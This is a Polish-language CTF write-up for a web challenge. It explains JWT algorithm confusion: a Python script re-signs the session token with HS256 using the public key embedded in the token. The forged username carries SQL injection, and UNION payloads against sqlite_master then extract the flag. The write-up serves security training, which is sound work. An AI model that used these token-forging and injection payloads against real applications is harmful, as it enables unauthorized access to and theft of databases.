A company that specialises in web development is creating a new site that is currently under construction. Can you obtain the flag?
Po wejściu na stronę widzimy prosty formularz. Możemy dzięki niemu zalogować się na istniejące konto bądź zarejestrować nowe. Po rejestracji i zalogowaniu, zostaniemy przeniesieni na stronę informującą nas o tym, że strona jest w budowie.


Co ciekawe, nazwa naszego użytkownika jest wyświetlana w powiadomieniu. Jest to informacja, która przyda nam się na późniejszym etapie.
Po sprawdzeniu w burpie żądań odpowiedzialnych za rejestrację i logowanie, dowiadujemy się, że po poprawnym uwierzytelnieniu po stronie serwera, zwróci nam on przykładowy, niżej wskazany response.
HTTP/1.1 302 Found
X-Powered-By: Express
Set-Cookie: session=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QxIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwiaWF0IjoxNjE1NzQ1NjMzfQ.1KV_1bDcZLsFALBUnUscUCdgKZFjE1vMakfMWuR89SHYAPYl26NRsc_hYPtoOeTinsh3slu0vi7VBZN7D6PDDjvCTEL0FPqmfCzvNy-HaKC7RExyRRBndmkaXASBHNPZEAFIeettozDAEylalmbwIPHiaoq2CCzcjV4eInxpPEzz0E-CAKfE2gYMfLAaSCJgfO6CgxyU1u3puCmwKRbjoE0_BD4Fu4pRN5xyc5Ioa7KYXGYDLaSULr8XVNLv4QK7HYWbNEs8rwpr0Ib2BR1P060tgEVl4hlsWIk3PkQ7rziT27-KXwTaFdtUrgvJm1NCzXK6EvN8C8PZqvfuSkiTxA; Max-Age=900; Path=/; Expires=Sun, 14 Mar 2021 18:28:53 GMT
Location: /
Vary: Accept
Content-Type: text/html; charset=utf-8
Content-Length: 46
Date: Sun, 14 Mar 2021 18:13:53 GMT
Connection: close
<p>Found. Redirecting to <a href="/">/</a></p>
Ciasteczko, które dostajemy w odpowiedzi to JWT. Możemy to wywnioskować po dwóch kropkach oddzielających kolejne części tokena. O nim samym oraz podatnościach, które są z nim związane, pisaliśmy w poprzednim artykule pod tym linkiem.
Najprostszym sposobem aby sprawdzić co zawiera token, jest wejście na https://jwt.io/ oraz wklejenie go we wskazanym polu polu.


Z payloadu JWT dostajemy informację o kluczu publicznym, dzięki któremu jesteśmy w stanie zweryfikować token. Rzeczą, która może nas zdziwić jest fakt, że nie możemy wkleić bezpośrednio klucza publicznego z payloadu do sygnatury. Najpierw musimy zamienić “\n” oznaczające przejście do nowej linii. W innym wypadku dekoder uzna klucz jako nieprawidłowy. Klucz publiczny po usunięciu przejść do kolejnych linii wygląda w sposób następujący:
-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaYktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQiXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzgjIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMxV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr0wIDAQAB-----END PUBLIC KEY-----

Wiemy już, że klucz jest zweryfikowany. Jak zauważyliśmy wcześniej, po zalogowaniu na konto nasza nazwa użytkownika jest wyświetlana na stronie w komunikacie powitalnym. Zależy nam na tym, aby zmienić nazwę użytkownika na taki, który wyświetli nam wadliwe informacje. Moglibyśmy użyć w tym celu narzędzia jwt_tool. Moje próby zabawy z narzędziem skończyły się niepomyślnie i po kilku minutach prób uznałem, że łatwiej będzie samemu napisać krótki skrypt.
import jwt
def get_token():
public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"
payload = {
"username": "test' GROUP BY 1,2,---+",
"pk": public_key,
"iat": 1629393044
}
token = jwt.encode(payload, key=public_key, algorithm='HS256').decode()
print(token)
get_token()
Jak widać w kodzie powyżej, zmieniliśmy naszą nazwę użytkownika na payload w postaci zapytania SQL.
Otrzymany w ten sposób token podmieniamy w naszym requeście.
GET / HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ip:port/auth?error=Registered%20successfully&type=success
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3QnIEdST1VQIEJZIDEsMiwtLS0rIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwiaWF0IjoxNjI5MzkzMDQ0fQ.RKVGUvpJ84L95dmEG6rxPLVVjRcHioogwtpfgp6zQoM
If-None-Match: W/"9eb-929sWx9X+39XEhkwQpMpfDNdC2s"
Connection: close
W odpowiedzi dostajemy status 500 i informację o używanej bazie danych. Ponadto widzimy, że aplikacja zwraca wyniki zapytań.
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 164
Date: Thu, 19 Aug 2021 17:46:52 GMT
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: SQLITE_ERROR: incomplete input</pre>
</body>
</html>
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 164
Date: Sun, 14 Mar 2021 21:45:30 GMT
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: SQLITE_ERROR: incomplete input</pre>
</body>
</html>
W związku z powyższym, możemy wykonać atak typu SQL injection UNION. Polega on na pobraniu danych z innych tabel w bazie danych. Dzieje się to za sprawą słowa kluczowego UNION, które pozwala nam na wykonywanie dodatkowych zapytań i dołączanie odpowiedzi do zapytania bazowego. Podstawową rzeczą, jaką chcemy na ten moment uzyskać, to nazwy tabel. Żeby jednak nasze zapytanie zadziałało, musimy spelnić dwa warunki:
- The individual queries must return the same number of columns.
- The data types in each column must be compatible between the individual queries.
Mamy dwa rodzaje metod, dzięki którym dowiemy się, ile kolumn posiada podstawowe zapytanie. W naszym artykule skupimy się na jednej z nich.
Nasz payload przyjmuje postać: test1' ORDER BY X--
, gdzie „X
” oznacza liczbę naturalną. Sprawdzamy każdą kolejną liczbę, a w momencie przekroczenia ilości kolumn, dostajemy błąd. Wtedy wiemy, że nasza ilość kolumn musi być mniejsza, a więc jest równa ostatniej liczbie, przy której nie dostaliśmy błędu. W ten sposób wiemy, że liczba kolumn w zapytaniu bazowym wynosi 3.
Każda z baz danych posiada tabelkę schematów, która przetrzymuje, jak sama nazwa wskazuje, schemat bazy danych. Znajdziemy w niej więc informacje o używanych tabelach czy sposobach ich tworzenia. Ponieważ używana baza danych to SQLite, nazwa tabeli schematów to sqlite_master,
sqlite_temp_schema
bądź sqlite_temp_master
.
Łącząc ze sobą wszystkie zdobyte wcześniej informacje, możemy użyć je w celu wydobycia nazw innych tabel. W payloadzie test1' UNION SELECT NULL, NULL, NULL FROM sqlite_master WHERE type='table'--
, podstawiamy kolejno w miejsce NULL nazwę kolumny z tabeli sqlite_master
, w której znajduje się nazwa tabeli. Ktoś mógłby zapytać, skąd ją znamy. Bazując na dokumentacji zakładamy, że kolumna ma nazwę name
. Po zamianie drugiego słówka NULL
na „name
„, otrzymujemy payload, z którego to tworzymy JWT przesyłany na serwer i dzięki któremu w odpowiedzi dostajemy nazwę tabeli. Na ten moment nie możemy dostać jej zawartości ze względu na brak znajomości nazw jej kolumn.
Ponieważ w tabelki sqlite-master
znajdują się sposoby tworzenia tabel, próbujemy znaleźć zapytanie do tworzenia tabeli flag_storage
. Użyjemy do tego payloadów z repozytorium, które trzeba nieco edytować pod swoje potrzeby.
test' UNION SELECT NULL, sql, NULL FROM sqlite_master WHERE tbl_name='flag_storage' AND type='table' LIMIT 1 OFFSET 0--
W odpowiedzi dostajemy zapytanie SQL tworzące tabelę.
Welcome CREATE TABLE "flag_storage" (
"id" INTEGER PRIMARY KEY AUTOINCREMENT,
"top_secret_flaag" TEXT
Wiemy z niego, że nazwa flagi to „top_secret_flaag
„. Teraz pozostaje stworzyć zapytanie o wartość z tabeli „flag_storage
” i kolumny „top_secret_flaag
„.
test' UNION SELECT NULL, top_secret_flaag, NULL FROM flag_storage LIMIT 1 OFFSET 0--
W ten sposób dostajemy szukaną flagę.
Źródła:
https://portswigger.net/web-security/sql-injection/union-attacks
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://github.com/ticarpi/jwt_tool
https://sqlite.org/schematab.html
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#integerstring-based—extract-column-name